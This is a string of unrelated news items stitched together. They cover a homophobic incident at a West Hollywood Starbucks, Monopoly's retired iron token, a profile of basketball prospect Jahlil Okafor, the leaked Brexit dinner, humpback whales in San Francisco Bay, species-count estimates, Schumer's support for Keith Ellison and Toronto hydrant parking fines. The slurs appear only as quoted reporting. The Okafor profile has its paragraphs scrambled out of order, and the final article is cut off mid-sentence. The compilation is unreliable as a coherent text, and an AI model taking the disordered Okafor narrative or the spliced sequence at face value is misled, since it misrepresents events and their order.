-Three young heterosexual men began using the slur “faggot” today in an incident inside the Starbucks coffee shop at 8598 Santa Monica Blvd., a major gathering spot for gay men in West Hollywood, that spilled over into a confrontation outside and drew the attention of Sheriff’s deputies. The three heterosexual men appeared to be African-American or Latino and ranged in age from about 18 to 23 according to witnesses to the altercation interviewed by WEHOville.  The incident is the latest in an apparent series of violent and near-violent encounters in and near the city’s Boystown gay neighborhood that have prompted local residents to demand more action from the West Hollywood Sheriff’s Station and express concern about their safety. Previous incidents have occurred on Santa Monica Boulevard near San Vicente in the heart of the gay nightlife district. The assault of Kirk Doffing on Memorial Day weekend near Rage, the gay bar, which left him in a medically induced coma for weeks, sparked a major outcry for improvements in policing the area. In response, the Sheriff’s Station received additional funding from the city to add a four-person foot patrol in the area six nights a week, replacing a previous two-person patrol. There have also been nighttime robberies on Santa Monica Boulevard and on Palm Avenue, where an employee of a gay bar was stabbed and his companion was beaten in December. While the gay nightlife area is concentrated on Santa Monica Boulevard between San Vicente and Robertson, the Starbucks coffee shop on Santa Monica near Westmount, several blocks east, is the prime daytime social spot for gay men in West Hollywood, many of whom work from there. It is known by its gay customers as “Gaybucks” or “BGS” (Big Gay Starbucks.)  Joseph Daniels, a photographer who was present at Starbucks this morning, said the incident began a little after 11 a.m. when the men were in line waiting to order coffee and began using profane language like “faggots.” Daniels said another customer told them their behavior was rude, and the manager of Starbucks appeared and asked one of the men to leave. As he left, Daniels said, “he was screaming and pointing ‘you will die f–ing faggots’. It was very scary and unexpected.”  Daniels said Leslie Jordan, the gay actor and screenwriter, yelled at the men to leave, saying “get out of my house.” Jordan, who at 4’11” is known for his diminutive stature as well as his Southern accent, is a regular at that Starbucks. Daniels said Jordan followed the men outside objecting to their language, and he and another customer walked outside to protect Jordan. “The guy lunged at Leslie to hit him,” Daniels said of one of the men. “Then Leslie threw his drink at the guy. Then (another) guy threw his drink to hit me.”  Daniels said Sheriff’s deputies showed up quickly and spent about 45 minutes interviewing those present at the altercation. He said deputies urged the gay men not to file charges against the others, saying that if they did the men screaming “faggots” could accuse Jordan of assault for throwing his coffee at one of them and the deputies would have to arrest Jordan. Daniels said the three men then walked away, headed east on Santa Monica and making obscene gestures to the gay men and continuing to call them “faggots.”  Deputy Peter Sullivan at the West Hollywood Sheriff’s Station said a report filed by deputies on the scene said “the deputies talked to all the persons. None of them were desirous of filing charges against another person.”  Daniels disputed that, saying that the gay men who were present didn’t file charges because they were warned that they might also face charges and be arrested. “He provoked it,” Daniels said of one of the three men. “He spewed hate crime words against everybody and threw a drink at Leslie. Why couldn’t he have been charged with disorderly conduct?” Others posting comments on Daniels’ Facebook page also questioned why charges weren’t filed.
-Photo  Photo  A termination notice was issued on Wednesday, directed at a 78-year-old. After decades of silent service, the iron is out – out of Monopoly board games that is.  Hasbro, the manufacturer of the popular board game invented in the 1930s, announced that the iron, one of eight game pieces, was to be replaced by the cat, following a vote on Facebook.  The iron was the odd piece out after it received the fewest number of votes among the original pieces. The cat got the highest number of votes among five possible new tokens, beating out a robot, guitar, helicopter and diamond ring.  But the iron won’t disappear right away. It will still be included in original Monopoly games that will be sold for most of the rest of this year.
-Jahlil Okafor Is On His Way Up High-school basketball phenom Jahlil Okafor—a sure-fire NBA lottery pick—is a monster on the court. But to understand what drives him, you have to meet his dad. And know what happened to his mother.  The fact that she already had a child didn’t stop Chucky from falling for her. “She had a great personality,” he says. “She was just so playful, and brutally honest. Her soul would touch everybody in the room. I can see it all in Jahlil.”  They had met a couple of years earlier when Chucky played at what was then Westark, a junior college in Fort Smith, Arkansas. Dee lived in town. Tall (6-foot-2) and biracial (her mother was white), she had been a basketball star at nearby Roland High School in Oklahoma, but her hoop dreams had been sidetracked by two unexpected occurrences: a blown knee and a baby girl.  Jahlil’s father has a home movie to show me. It’s from April 1997, when Jahlil was a toddler. Chukwudi (pronounced Chuh-Koodie, but you can call him Chucky) and Jahlil’s mom, Dacresha Benton, or Dee, were living in Poteau, Oklahoma, enrolled at Carl Albert State College, a two-year school that had offered them both basketball scholarships.  That kind of open affection is rare for a teenage boy, so I ask Jahlil where it comes from. “It’s probably from my mom—appreciating people, not knowing if I will have them the next day.”  Then there is the other Jahlil, the one most fans don’t see. This is the one who intentionally keeps his booming bass voice at low volume off the court so that he won’t intimidate people. The one who would rather hole up in his room with Netflix or PlayStation than be out on the street, where he’s recognized more and more. The one who is shy around strangers but unleashes his gravelly cackle around his friends. The one who feels hurt when he’s attacked on Twitter (“I wonder if they would say negative stuff if they realized how nice I am,” he says). The one who fetched water for his AAU teammates while he was sidelined last summer with a twisted ankle. The one who tells his father he loves him every time they get off the phone.  That is the Jahlil who led Whitney Young to a city title last year and a top 10 national ranking while becoming the only junior named to USA Today’s high-school All-USA team. The season ended on a disappointing note, though, when his team lost in the state tournament to city rival and eventual champion Simeon, leaving Jahlil devastated. “I turned my phone off for, like, a week,” he says. “Just threw it under my bed. I didn’t feel like talking to anybody.”  That competitive fire isn’t limited to game time. “He wants to be first in just about everything,” says teammate Paul White, one of Jahlil’s closest friends. “First in running laps. First one out onto the court. First one done eating. And he’s one of the best trash-talkers I’ve ever been around. He gets in your head, down to your core. Even during practice. It’s like, ‘Oh, damn, man, I’m your teammate.’ ”  There are two Jahlil Okafors. There is the one you see on the court: all power dunks (he once broke a rim during a game), spin moves, stare downs, and various other displays of domination. “He’s a fierce competitor, with really no regard for the people in the other jersey,” says his Whitney Young coach, Tyrone Slaughter. “It’s like a war to him.”  “My deepest fear is losing someone else close to me,” he says. “That’s something I think about way more than I should. I’ll be in my room thinking, What if my dad’s not here? Or, if I’m driving: What if I lose my aunt? What if I lose my sister?”  There are, of course, no guarantees. Before he’s eligible for the NBA, Jahlil has this year of high school and at least one at Duke University, which recently won the sweepstakes for his services. Something unforeseen, such as an injury, could derail his path. Jahlil knows that. He worries about it sometimes. But that’s not what keeps him up at night, his mind racing as he lies in his bed, mulling over different scenarios.  “You feel a little anxious, a little nervous,” Jahlil says of being an NBA star in waiting. “A little pressure also, because everybody’s expecting these great things. I think about it often. It’s hard not to. But it’s also kind of exciting. With what everybody’s saying, I can’t wait for it to happen.”  A regular kid, in other words, with one notable exception: Jahlil (pronounced Jaw-Leel) is the consensus top high-school basketball prospect in the country—the latest in a recent string of loftily rated Chicago prep-school stars. (Last year it was Simeon’s Jabari Parker, now at Duke. Two years before that: Perspectives Charter’s Anthony Davis, the No. 1 pick in the 2012 NBA draft.) At 6-foot-10 and 270 pounds, Jahlil has NBA executives salivating over his rare combination of power and finesse. One league executive with 20-plus years of experience told Yahoo Sports last summer that Okafor is “the most skilled high-school center” he’s ever scouted.  “My deepest fear is losing someone else close to me. That’s something I think about way more than I should.”  It’s a future that is tantalizingly close yet conspicuously removed from his present. Because for now, Jahlil is still a senior at Chicago’s Whitney M. Young Magnet High School. Still a boy on the verge of manhood, just turning 18 on December 15. Still living with his daddy in a modest two-bedroom apartment on the northwestern edge of the city. Still tasked with doing the dishes every night and keeping the bathroom clean.  He will use part of that money to buy a house for his father, Chukwudi, a marketing rep and basketball coach. He will buy another for his “auntie mom,” Chinyere Okafor-Conley, his dad’s older sister who helped raise Jahlil after his mother died when he was nine. He will also purchase a truck for his father. A red one. “I don’t even know what kind,” says Jahlil. “I just know that ever since I was a kid, my dad has wanted a red truck.”  In 18 months, if all goes as expected, Jahlil Okafor will hear his name called as the first pick in the 2015 NBA draft. He will walk across a stage in New York City, shake hands with the commissioner, and don the cap of a team counting on him to be the cornerstone of its future. For this he will be paid handsomely, though not obscenely, not at first: something like $20 million over his first four years, limited only by the rookie salary scale.  Jahlil Okafor, a senior at Chicago’s Whitney M. Young Magnet High School, is one of the top recruits in the country. Enjoy this animated GIF of the above dunks  The 45-minute video is like an intimate time capsule: five days in the life of a young couple, never married, struggling to raise two kids while juggling the demands of being student athletes. There are scenes of a 16-month-old Jahlil crawling into bed with his mom and waking her up with a conk on the head from his bottle; of Chucky walking his son home from nursery school and stopping to look at some puppies; of Jahlil, in diapers, dunking on a rim made from a coat hanger his dad bent into a hoop and fastened to a door. “Ghetto basketball,” Chucky says on the video. “Tear the roof down, Jah-Jah.”  Jahlil is at practice this afternoon. Chucky didn’t want him here when we watched the video. He knew it would make him uncomfortable. Even for an outsider, the footage is bittersweet. Here is a couple in a tough situation, still managing to shower their kids with attention and love. It’s impossible not to be moved, especially knowing what’s to come.  We are eating dinner on the back patio of a Hooters near the O’Hare neighborhood apartment he and his father share when Jahlil tells me the story. He begins it so matter-of-factly that, at first, I think he must have told it a hundred times.  He was nine when it happened, home watching TV with his sister. His mother was resting nearby. She had been battling bronchitis for a couple of weeks.  ‘[My mother] was very strict. She would stress to me being respectful of women. People always credit me for being nice to people, but that was all due to her.’ Jahlil Okafor  They were living in tiny Moffett, Oklahoma, near the Arkansas border, where Dee had grown up and where her mother still lived. Two years earlier, Chucky had moved back to Chicago, where he’d grown up, to work on his bachelor’s degree at Chicago State. Dee had a job as a hotel receptionist in Fort Smith. As a couple, they had been on and off, but by then, 2005, Dee had moved on to another relationship.  Jahlil was extremely close to his mother, who was 29 at the time. “Whenever I saw her, I would give her a big hug,” he says. “She would take me to the basketball court and I would watch her play. She was very strict. She would stress to me being respectful of women. People always credit me for being nice to people, but that was all due to her. She was also really funny, a big jokester.”  Which is why he didn’t realize right away that there was a problem that day. “I remember she started coughing and breathing real heavy, making a weird noise,” says Jahlil. “I thought she was just kidding around. I started tackling her and laughing. I walked to the kitchen and was like, ‘Mom, I’m taking your Oreos,’ because she was always real strict about her Oreos. I expected her to say, ‘Don’t do that.’ But she just kept breathing heavy.”  That’s when Jahlil knew she was in trouble. One of her lungs had collapsed. The phone in the house wasn’t working, so Jahlil and his sister ran to the neighbors to call 911. “We were screaming,” he says. “I remember the ambulance coming and them ripping her shirt open. I remember them taking her away.”  Jahlil and his sister waited at the hospital for word about their mom. “The doctor came out and said she didn’t make it. I just remember crying.”  By now Jahlil’s voice is cracking as he tells the story. “I went into her hospital room. She was lying there. I remember I touched her hair . . .”  He lowers his head and cups his face with his giant right hand. “I’m sorry. This is my first time talking this descriptive about my mother.”  The pain never really goes away, does it?  “Uh-uh,” he says.  Does he want to continue later?  “I can finish,” he says, lifting his head and wiping away tears. “I rubbed her hair. I remember it was supersoft. I kept going in and out of the room, looking at her, like 30 minutes at a time, not wanting to leave. I was there pretty much the whole night. It didn’t seem real to me. I was heartbroken.”  For years he beat himself up for not reacting sooner. “It happened right in front of me,” he says. “I’ve put myself in her shoes, thinking about what she must have been thinking: I’m suffering and he’s just looking at me, laughing.”  Has he finally been able to stop blaming himself? He’s silent for a few seconds before he answers. “Yeah. But even now I still have to think, What if I could have known right off the bat that she wasn’t playing? She would still be here.”  After his mother’s death, Jahlil moved to Chicago to live with his dad, while his sister stayed behind with their grandmother. Even when they were apart, father and son had kept a strong bond. Chucky used to call Jahlil every day after school. They always ended the conversation the same way.  “Who loves you more than your daddy?” Chucky would ask.  “Nobody,” Jahlil would say.  Chucky describes his parenting style as a cross between Cliff Huxtable and Furious Styles, the philosopher-disciplinarian from the film Boyz n the Hood. (On Chucky’s phone, Jahlil’s calls come up “The Prince,” a reference to a Styles line: “You the prince. And I’m the king.”) “He is kind of the opposite of me,” says Jahlil. “People say I’m more mellow. He does a lot of goofy things. If I’m with a bunch of my friends, he’ll come in and Dougie—you know, the dance. And at games, people know him as the crazy loud guy.”  About a year after his son arrived, Chucky moved them to Rosemont, on the outskirts of the city, far from the tough South Chicago streets of his childhood. (They later moved back into Chicago, just over the border, so that Jahlil could attend Whitney Young.) “A lot of the flaws I had in my life,” says Chucky, “those are situations I never want Jahlil to have to be in.”  Like Jahlil, Chucky lost his mother at an early age. She died from breast cancer when he was 18 months old. He was raised by his single father, a Nigerian immigrant. Chucky had been, in the words of one of his sisters, a “roughneck.” At 13, he was caught driving a car he and some other boys had stolen. Later, he hustled drugs. He bounced around to five high schools in three years, mostly because he kept getting expelled for fighting. At one point he lived in a group home for troubled kids.  And though the 6-foot-5 Chucky dreamed of playing basketball professionally and was all-city at Bowen High School his senior year, he proved to be his own worst obstacle. He was kicked off the Westark team for using a stolen credit card, kicked off at Carl Albert for getting into a fight with a neighbor, and kicked off at West Texas A&M after only one game for disobeying the coach. “I finally came to the realization that I can’t take authority,” he says.  By the time Jahlil arrived in Chicago, Chucky had gotten his life straightened out. He was working as a doorman at an Edgewater condominium and had earned a bachelor’s in curriculum and instruction at Chicago State. Later, he’d add a master’s in instructional technology from an online program at American InterContinental University. (At 38, he now works as an assistant coach at Whitney Young and as a rep for World Ventures, a travel marketing company.)  Jahlil, tall for his age, had wanted to be an NBA player for as long as he could remember, and after moving in with his dad, he began to concentrate on basketball even more. His AAU team—he continued to play on a squad in Arkansas with his friends while spending summers with his grandmother—won three age-group national championships in four years. Chucky helped him further refine his game. He bought him a pair of weighted training shoes and put him through footwork and agility drills. He had him running in the pool to improve his strength. And then there were the countless games of one-on-one.  “He would always beat me, but he was helping me,” says Jahlil. “Like, he would block my shot and tell me to use my other hand.” Explains Chucky: “My thing was, anything I had a weakness in, I didn’t want him to have. I couldn’t shoot with my left until I was in college. And you see Jahlil now: He’s got a left hand.”  It wasn’t until eighth grade that Jahlil, already 6-foot-8, finally beat his dad. “I remember him getting mad and saying I fouled him,” says Jahlil. “We were out there arguing while we were playing.” Recalls Chucky: “I came home and told my brothers, ‘Yeah, he got me. But I got beat by a pro.’ ”  When it came time to think high schools, Chucky had Whitney Young in mind from the start. Growing up, he had admired it as the place the smart kids went. But Chucky wanted to make sure his son felt comfortable there, so he arranged a meeting with Coach Slaughter.  Slaughter had never heard of Jahlil, in part because he had been playing outside the Midwest AAU circuit, so he had one of his coaches put the kid through some drills. “He was palming balls off the ground. Making every shot. Completing every drill they threw at him,” says Chucky. “I remember watching Ty’s reaction. He was just shocked.”  That wasn’t the only thing about Jahlil that made Slaughter’s jaw drop. The summer before he started at Whitney Young, Jahlil played for the coach’s AAU team. “We went to nationals in Orlando and stayed in a house,” recalls Slaughter. “That first night, Jahlil comes downstairs and grabs a mixing bowl. He takes the cereal, pours it in the mixing bowl, then pours in a half gallon of milk. I told his father, ‘I don’t know how the fuck you feed him. It’s unbelievable.’ ”  When Jahlil was in junior high, Chucky would e-mail college coaches, telling them to put his son on their radar. But he didn’t get any traction until a DePaul assistant happened to catch one of Jahlil’s eighth-grade games. He reported what he saw to the university’s head coach at the time, Tracy Webster, who invited father and son to a game. “He was like, ‘Man, I’ll sign you right now,’ ” recalls Chucky. “I didn’t take it seriously. Then the next day it’s on ESPN: ‘DePaul makes offer to eight grader.’ Everybody started taking notice after that.”  Advertisement  Though Jahlil came to Whitney Young as something of a celebrity, he played behind center Thomas Hamilton Jr. as a freshman. But the next year, after Hamilton got injured, Jahlil showed what he could do, putting up a stellar 20 points and 10 rebounds a game. Last year, as a junior, he averaged 20 points and nine rebounds as he led the team to a 27–4 record and a national ranking that reached as high as No. 2.  In an era when big men like to roam the perimeter, Jahlil is a throwback: a back-to-basket center who dominates in the post. But he’s coveted not just for his sheer size and power. He is a deft passer, and with his spin moves and shot fakes, he’s drawn comparisons to Tim Duncan and Hakeem Olajuwon.  When I ask Chucky how he’s been able to keep his son grounded amid all the attention, he rebuffs the question. “Some things I don’t even want to take credit for. That’s just him. That’s just who he is. He knows right from wrong, and 96 percent of the time he’s going to do right.”  Chucky can remember being called to school only once: Jahlil was in fifth grade and got into a fight with a boy who called him a nigger. “The parental side of me had to explain to Jahlil you can’t lose your emotions like that,” says Chucky. “But in my head I was happy Jahlil smacked him.”  When you are Jahlil Okafor, there’s no shortage of suitors—college coaches who flock to your games and practices; who text and call you multiple times a week just to check in; who send you Photoshopped images of you shaking hands with the NBA commissioner (as Baylor did); who name their dog after you (as an assistant at Ohio State did).  If you were a coach making an in-home visit to the Okafors last spring, you couldn’t escape without having your photo taken doing “the look-away”—a family tradition of never staring directly at the camera. The result: unintentionally hilarious images of Duke’s Mike Krzyzewski, Kansas’s Bill Self, and other college royalty striking arms-crossed B-boy poses next to a grinning Chucky. To keep the mood relaxed, Chucky would also stock up on Heinekens and order in Giordano’s. “I just figured it would be cool to have Coach K in my house drinking a beer with me,” he says.  Jahlil and his father, Chucky, with Duke University coach Mike Krzyzewski (bottom photos) and coach Bill Self of the University of Kansas (top photos). Photo: Courtesy of the Okafor family  “Typical of my dad,” says Jahlil, with a roll of his eyes. “He didn’t want it to be too stressful for me. I think that was his way of showing you can enjoy it.”  With a prize prospect like Jahlil, the pressure is actually on the coaches. And any miscue can cost them. One coach begged Jahlil to save his job by coming to his school. (Big turnoff.) Another made disparaging remarks about his rivals. (Jahlil stopped returning his messages.) In perhaps the biggest stumble, one told Jahlil to pass along best wishes to his mom on Mother’s Day. (“Obviously, they don’t know anything about me,” Jahlil told his dad.)  In mid-November he settled on Duke. “It came down to it being Coach K and the brand name of Duke, being part of that legacy,” he says. He made his decision in conjunction with another top prospect, Tyus Jones, a point guard from Minnesota. The two had bonded playing on U.S. national teams together and decided to make themselves a package deal. “He’s like a brother to me,” explains Jahlil. “But also, I want to win.”  Before he heads to Durham, North Carolina, next fall, Jahlil has some unfinished business in Chicago. Last year’s state tournament loss is still fresh in his mind. He had one of his poorer outings of the year that game, managing only 13 points, while Simeon’s star, Jabari Parker, his friend and AAU teammate, outshined him, scoring 29.  That memory is one reason Jahlil has come back this season in better condition than ever. “He’s a hellacious worker,” says Slaughter. “He’s replaced a lot of baby fat with muscle.” Continued below
-The EU’s version of its "disastrous dinner" with Theresa May, which has thrown the Brexit talks into turmoil, could be true, the Home Secretary has suggested.  Amber Rudd undermined No 10’s dismissal of the account of the talks – after which the Prime Minister was accused of living in a “parallel reality” – as “Brussels gossip”.  “None of this is really surprising,” Ms Rudd said, of the horrified leaked reaction of Jean-Claude Juncker, the European Commission's President.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  Instead, she criticised the leak itself, saying: “I think it’s a mistake to allow those sorts of details – if they are true – to come out from a dinner.” Asked if they were true, Ms Rudd replied: “I don’t know.”  According to accounts of last week's dinner, Ms May hinted she would try to avoid paying any exit bill, telling Mr Juncker the EU had no legal power to force Britain to pay up.  She also insisted talks about a future trade deal should start early – despite the EU making clear the expected £50bn "divorce bill" must be agreed first.  The EU side was also astonished at Ms May's suggestion that the controversy over EU citizens’ future rights could be settled next month – believing she had no grasp of its complexity.  Mr Juncker is said to have made clear to the Prime Minister that, unless she accepted the EU’s red lines, there was no point in even beginning the withdrawal talks.  His last words to the Prime Minister as he left were: “I'm leaving Downing Street 10 times more sceptical than I was before,” according to the leak.  Asked about that devastating account of the dinner, Ms Rudd told BBC Radio 4’s Today programme: “None of this is really surprising. We always said it’s going to be difficult, these negotiations. I’m not surprised that there is some briefing coming out from different sides of the negotiation  “What we will always do is make sure that we conduct our negotiations more discreetly, shall we say, so that we can have a freer negotiating hand.”  The comments were in stark contrast to those of Ms May, on the campaign trail in Lancashire yesterday, when she said: “From what I have seen of this account, I think it is Brussels gossip.  “Just look at what the European Commission themselves said immediately after the dinner took place, which was that the talks had been constructive.”  Keir Starmer, Labour’s Brexit spokesman, warned: “Unless we change tack quickly and adopt a more constructive approach, the weaker our negotiating hand will become.”  The morning after the dinner, Mr Juncker is believed to have telephoned Angela Merkel, the German Chancellor, to tell her Ms May was living in “another galaxy” and a “parallel reality”.  A few hours later, Ms Merkel made an outspoken attack herself on Britain, saying: “Some people in the UK are suffering under illusions.”  During the interview, the Home Secretary also appeared to pour cold water on suggestions that the Conservatives’ post-Brexit immigration policy will be revealed next week.  “We will set out in the manifesto some of our strategy towards immigration,” she said, repeating that a consultation with businesses would be held over the summer.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now.
-SAN FRANCISCO -- In San Francisco Bay, it's been a great week for whale watching thanks to some special visitors seldom seen in those waters.  It is an unusual sight to be sure: Humpback whales frolicking in the shadow of the Golden Gate Bridge.  "It's pretty dramatic, and it's delightful to have wildlife of this grandeur in San Francisco Bay," Jeff Boehm, executive director of the Bay Area's Marine Mammal Center, told CBS News.  Boehm said the migrating whales are following food into the shallower waters.  "The problem occurs when our zeal to get close to them interferes with their natural behavior," he said.  Terry Parks shot video while kitesurfing near two of the whales.  Marine biologists say humpback whales have been swimming into San Francisco Bay in unprecedented numbers during the past two weeks. KPIX  "There were a couple of times there where you can't see where they're gonna submerge, and then they come up pretty close to you," Parks said.  Over the past few days, boaters have seen whales breaching in the bay.  And while the 60,000-pound whales are considered docile, Boehm pointed out, "All of these animals are going to be unpredictable, and these humpback whales can be rather aerobatic as well."  And that can be dangerous -- as kayakers in Monterey Bay found out last fall.  Another concern for scientists is that the whales could continue to swim inland, up the Sacramento River and get stuck as a humpback named Humphrey did back in the 1980s and '90s.  "A tide can shift relatively quickly, leave the animals in water that's not navigable," Boehm said. "Also, as they move up into rivers, into fresh water, which can start over time to have effects on their skin."  Marine biologists say warmer ocean temperatures caused by El Nino are drawing in marine life that would typically only be seen in deeper waters.  How long the humpbacks will stay in the bay -- and whether it's part of a larger pattern -- is still unclear.
-Since I work on speciation, I’m often asked how many species there are on Earth. You’d think that we have a pretty good idea of this, but we don’t. Most species of viruses and bacteria—indeed, if there are such things as viral and bacterial “species”—can’t be easily seen in the field or grown in the lab, and most other species are nematodes or insects hidden in the forests of the tropics.  According to Robert May, who took up this issue without resolution in a 1988 paper in Science, biologists have named roughly 1.5 million species, with 15,000 more named each year. This, of course, is only a fraction—perhaps a small one—of all species living on earth. And, given the predominance of arthropods among all species, this effort is patchy. As May points out in a note in this week’s Science, one third of taxonomists work on vertebrates, which are only about 1% of all species, another third work on plants (around 10% of all species), and the remaining third work on the other 89% of taxa.  Estimates have varied between 5 and 50 million species on Earth, and that’s a big range. At the upper end of this range come calculations from biologist Terry Erwin, who, in a short but famous paper in 1982 in The Coleopterists Bulletin, tried to estimate the number of species of beetles in the world’s tropics. (One third of the world’s species are insects, and of these about a third are in the order Coleoptera—beetles. There’s a possibly apocryphal story about biologist J. B. S. Haldane, who was once asked what one could infer about the nature of the Creator from his creation. “An inordinate fondness for beetles,” Haldane supposedly replied).  Erwin fogged (sprayed with toxic chemicals) 19 individuals of the tropical tree Luehea seemannii in Panama, killing everything in their canopies, and carefully counted all the beetles he found. There were 1143 species represented, most of them leaf-eaters. Erwin then made some calculations. Assuming that a certain percentage of these beetles were “host-specific,” found only on that species of tree (this percentage ranged from 5% for predatory and scavenging beetles to 20% for herbivores), he calculated that this species of tree harbored 163 species of host-specific beetles.  Erwin then parlayed these data into an estimate of the total number of tropical, host-specific arthropods in the world. This involved making assumptions about not only the proportion of beetles that are host-specific, but the number of trees in the tropical forests (50,000), the proportion of arthropods that are beetles (40%), and the number of total beetle species per hectare of tropical rain forest canopy (12,448). Erwin came up with an astounding figure: thirty million species of tropical arthropods in the world! And that’s just arthopods! This suggested to many that there were far more species in the world than previously thought. Erwin later (1988) produced an even larger estimate–one hundred million species of arthropod.  To be sure, Erwin recognized that this estimate was very rough, based on untested assumptions. As he said, “I hope that someone will challenge these figures with more data.”  Well, someone has—not just with more data, but with better statistical analysis, too. As May reports in this week’s Science, Andrew Hamilton and his colleagues have, in a new paper in The American Naturalist, used new data on species numbers, and have varied the parameter estimates that Erwin saw as fixed, to come up with new estimates of the number of tropical arthropods.  I w0n’t belabor the methods, which themselves involve assumptions, but they yield estimates of arthropod species much lower than that found by Erwin. Hamilton, using probability distributions for various estimates (such as the proportion of beetle species that specialize on a certain tree), come up with a range of species numbers, each having a relative likelihood. The two separate models give a median species number of 2.5 million (90% confidence interval: 1.1-5.4 million) and and 3.7 million (c.i. 2.0-7.4 million) tropical arthropod species in toto; Erwin’s estimate of 30 million or more has a probability of less than 0.001% of being true.  Using these medians, Hamilton et al. estimate that, since only 855,000 species of arthropods have been described, 66%-77% of the world’s species are still unknown. As they say, “This represents an enormous amount of work for taxonomists that will take hundreds of years to complete at the current rate that species are described, taxonomists are trained, and funding is allocated for invertebrate taxonomy.  They leave out one consideration: at the current rate of deforestation, we won’t have any rainforest left in a hundred years, and most of those species will vanish without ever having been seen by humans.  So how many species are there on Earth? It’s still murky, but a fair back-of-the envelope estimate, including all those nematodes and the unknown parasites of living species (but not including bacteria), would involve tripling the estimate of total tropical arthropods, to make about ten million species. And that’s what I’ll tell people if they ask, making sure to add that it’s a very rough estimate.  Fig. 1. The goliath beetle, Goliathus orientalis, one of many tropical insects. Males can reach 4 inches in length and weight 3.5 oz.  _________  Erwin, T. L. 1982. Tropical forests: their richness in Coleoptera and other arthropod species. Coleopterist’s Bull. 36:74-75.  ___________. 1988. The tropical rain forest canopy: the heart of biotic diversity. pp. 123-129 in E. O. Wilson and F. M. Peter, eds. Biodiversity. National Academy, Washington D. C. (Note: I haven’t read this paper).  Hamilton, A. J. Yves Basset, Kurt K. Benke, Peter S. Grimbacher, Scott E. Miller, Vojtech Novotný, G. Allan Samuelson, Nigel E. Stork, George D. Weiblen, and Jian D. L. Yen. 2010. Quantifying uncertainty in estimtion of tropical arthropod species richness. Amer. Natur. 176:90-95.  May, R. M. 1988. How many species are there on Earth? Science 241:1441-1449.  May, R. M. 2010. Tropical arthropod species, more or less? Science 329:41-42.
-Sen. Bernie Sanders (I-Vt.) stands behind Sen. Charles E. Schumer (D-N.Y.) on Nov. 16 on Capitol Hill. (Carlos Barria/Reuters)  Incoming Senate Minority Leader Charles E. Schumer (D-N.Y.) says he’s backing a Minnesota congressman to lead the Democratic National Committee for a simple reason: because Sen. Bernie Sanders (I-Vt.) likes him.  Schumer, in an interview Friday, said he’s supporting a bid by Rep. Keith Ellison (D-Minn.) to run the DNC because he comes with the support of Sanders, a key liberal voice in the Senate who also earned a spot this past week on Schumer’s new 10-senator leadership team.  Schumer is set to become the first New Yorker and first Jewish man to serve as a Senate leader and has been a staunch defender of Israel throughout his four decades in public service. But Ellison has been an outspoken critic of Israel and its relationship with Palestinians in the past.  Earlier in his career, Ellison apologized for or withdrew a number of controversial statements, including likening former president George W. Bush’s consolidation of power after the Sept. 11, 2001, terror attacks to the rise of Adolf Hitler, to defending the leader of the Nation of Islam, to labeling his own 2012 reelection opponent a “lowlife scumbag.”  [Keith Ellison would be a bold pick for DNC chair — and a controversial one]  Some of those moves would seem to put him at odds with Schumer, his strong support for Israel and the strong support he enjoys from Jewish voters across New York.  “I’m not worried about the Israel stuff even though he and I disagree,” Schumer said Friday when asked about Ellison’s past statements.  Schumer said that Ellison, who would be the first Muslim to run the DNC, came highly recommended by Sanders. The two senators have known each other for years. Both grew up in Brooklyn and attended James Madison High School, although at different times. (That same school also graduated Supreme Court Justice Ruth Bader Ginsburg and former senator Norm Coleman (R-Minn.).)  After the Democratic presidential primaries that Sanders lost to Hillary Clinton, “Bernie said we need an organizing tool. We can’t win the wars,” Schumer said. “Our issues are right, although they should be bolder and more progressive, he would say, but we need organizing and not just during presidential campaign. So we thought maybe the [Democratic Senatorial Campaign Committee] should do some of that, assuming Hillary was going to win. When the DNC [chairman’s job] opened up, he called me and said we need to make the DNC not a fundraising and political organization but a true organizing tool. I said, you’re exactly right.”  Whether that’s exactly how it transpired may be up for dispute, but either way, Schumer, Sanders, outgoing Senate Minority Leader Harry M. Reid (D-Nev.) and other top Democrats have quickly endorsed Ellison’s bid.  The DNC has yet to set a date for the chairman’s election, which is expected to happen sometime next year.  Other Democrats are also in the running, including former Vermont governor Howard Dean; Henry Munoz III, the DNC’s finance chairman; outgoing Labor Secretary Tom Perez; and Rep. Ruben Gallego (D-Ariz.). Former Maryland governor Martin O’Malley said this week he’s no longer going to run for the job.  Party rules currently dictate that the DNC chairman must be a full-timer. Former chairman Debbie Wasserman Schultz was able to hold the job on a part-time basis while serving as a Florida congresswoman because President Obama appointed her to the job and, well, presidents get to break the party rules.  Dean has cited the full-timer rule as a reason why someone like Ellison shouldn’t be picked to serve. But Schumer said Friday that Ellison shouldn’t need to step down from his House seat to lead the party.  “No, I don’t believe that. He’s a very good organizer, and I think Bernie will have a lot of say in the DNC, which I welcome, and they will find good full-time organizers,” Schumer said. “I said to [Ellison], the number one person you should hire who is the executive director should be the best organizer we can find, and he agreed.”  Correction: An earlier version of this article incorrectly said that Schumer and Sanders attended high school together. They both attended the same high school but not at the same time.
-Steve Rennie, The Canadian Press  OTTAWA -- It's the street equivalent of a desert mirage, an elusive piece of prime parking real estate that, for some strange reason, everyone else just happened to miss.  Eventually, however, a telltale slip of paper tucked beneath a windshield wiper offers an explanation: you parked in front of a fire hydrant.  Maybe it was an honest mistake. Or maybe you thought you could slip in and out before your illegal parking job caught the attention of a passing bylaw officer. Either way, now you've been hit with a hefty fine.  And as it turns out, some hydrants seem to be more tempting -- and more costly -- than others.  In Toronto, one hydrant stands above the rest. People are fined so often for parking in front of it that on Google's Street View, a white Toyota can be seen with a yellow slip under its wiper blade as a parking-enforcement officer walks away.  Since 2008, cars that parked too close to the hydrant at 393 University Ave. have been ticketed 2,962 times. Those fines add up to $289,620 -- more than any other hydrant in the city.  So, why is this one particular hydrant such a cash cow for the city? There are a few possible explanations. It's right by the courthouse and near a major downtown intersection. The hydrant itself is in the middle of a busy sidewalk set back some distance from the street, and it would be easy enough for drivers to miss. No markings on the street make it obvious that the spot is off-limits.  Anthony Fabrizi, the city's manager of parking ticket operations, says the hydrant needs to be a certain distance from the street so pumper trucks can park there.  "There's lots of logic to the madness when you see behind the scenes," Fabrizi said.  In Toronto, the fine for parking within three metres of a fire hydrant is $100. It used to be $30 until the city hiked the fine in early 2008.  A Canadian Press analysis of Toronto's parking-ticket data found the city has collected more than $24 million since 2008 by fining people who parked too close to hydrants.  Fabrizi says all parking fines, including those 